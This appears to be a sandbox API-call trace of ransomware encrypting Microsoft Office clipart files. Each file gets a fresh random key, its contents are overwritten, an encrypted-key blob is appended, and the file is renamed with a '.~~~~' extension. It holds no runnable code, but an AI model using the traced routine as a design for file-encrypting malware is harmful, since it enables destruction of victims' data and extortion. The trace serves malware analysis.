	[0100.142] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.142] CloseHandle (hObject=0x144) returned 1
	[0100.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.142] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf.~~~~")) returned 1
	[0100.143] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.143] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0100.143] GetLastError () returned 0x0
	[0100.143] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0100.144] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.144] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0100.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0100.144] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22013423900) returned 1
	[0100.161] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa563a110, dwHighDateTime=0x1d60e1e)) 
	[0100.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0100.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0100.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0100.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862838
	[0100.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862838 | out: hHeap=0x300000) returned 1
	[0100.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2861d68
	[0100.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.162] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0100.162] GetLastError () returned 0x0
	[0100.162] GetLastError () returned 0x0
	[0100.162] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0100.162] GetLastError () returned 0x0
	[0100.162] GetLastError () returned 0x0
	[0100.253] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffdd50, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.253] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x22b0, lpOverlapped=0x0) returned 1
	[0100.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0100.253] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.254] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.254] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.254] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.254] CloseHandle (hObject=0x144) returned 1
	[0100.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.254] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf.~~~~")) returned 1
	[0100.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0100.255] GetLastError () returned 0x0
	[0100.256] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0100.257] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.257] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0100.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0100.257] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22024738589) returned 1
	[0100.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa571e950, dwHighDateTime=0x1d60e1e)) 
	[0100.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0100.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0100.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0100.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862988
	[0100.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862988 | out: hHeap=0x300000) returned 1
	[0100.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2864218
	[0100.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.258] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0100.258] GetLastError () returned 0x0
	[0100.258] GetLastError () returned 0x0
	[0100.258] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0100.258] GetLastError () returned 0x0
	[0100.259] GetLastError () returned 0x0
	[0100.281] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff69a8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.281] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x9658, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x9658, lpOverlapped=0x0) returned 1
	[0100.282] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0100.282] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.282] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.282] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.283] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.283] CloseHandle (hObject=0x144) returned 1
	[0100.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.283] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf.~~~~")) returned 1
	[0100.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0100.284] GetLastError () returned 0x0
	[0100.284] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0100.286] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.286] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0100.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0100.286] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22027620644) returned 1
	[0100.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa576ac10, dwHighDateTime=0x1d60e1e)) 
	[0100.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0100.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0100.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0100.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28629f8
	[0100.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0100.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28629f8 | out: hHeap=0x300000) returned 1
	[0100.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0100.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2864510
	[0100.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.287] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0100.287] GetLastError () returned 0x0
	[0100.287] GetLastError () returned 0x0
	[0100.287] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0100.287] GetLastError () returned 0x0
	[0100.287] GetLastError () returned 0x0
	[0100.334] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffbdc8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.334] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x4238, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x4238, lpOverlapped=0x0) returned 1
	[0100.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0100.336] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.336] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.336] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.336] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.336] CloseHandle (hObject=0x144) returned 1
	[0100.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.336] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf.~~~~")) returned 1
	[0100.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0100.337] GetLastError () returned 0x0
	[0100.338] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0100.339] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.339] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0100.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0100.339] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22032927702) returned 1
	[0100.339] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa57dd030, dwHighDateTime=0x1d60e1e)) 
	[0100.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0100.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0100.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0100.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862a30
	[0100.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862a30 | out: hHeap=0x300000) returned 1
	[0100.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2864640
	[0100.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.340] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0100.340] GetLastError () returned 0x0
	[0100.340] GetLastError () returned 0x0
	[0100.340] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0100.340] GetLastError () returned 0x0
	[0100.341] GetLastError () returned 0x0
	[0100.376] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffbb9c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.376] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x4464, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x4464, lpOverlapped=0x0) returned 1
	[0100.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0100.377] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.378] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.378] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.378] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.378] CloseHandle (hObject=0x144) returned 1
	[0100.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.378] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf.~~~~")) returned 1
	[0100.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0100.380] GetLastError () returned 0x0
	[0100.381] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0100.382] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.382] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0100.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0100.382] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22037199787) returned 1
	[0100.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa584f450, dwHighDateTime=0x1d60e1e)) 
	[0100.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0100.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0100.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0100.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862ad8
	[0100.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862ad8 | out: hHeap=0x300000) returned 1
	[0100.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28646d8
	[0100.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.382] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0100.383] GetLastError () returned 0x0
	[0100.383] GetLastError () returned 0x0
	[0100.383] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0100.383] GetLastError () returned 0x0
	[0100.383] GetLastError () returned 0x0
	[0100.445] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe2f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.445] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1d08, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x1d08, lpOverlapped=0x0) returned 1
	[0100.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0100.446] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.447] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
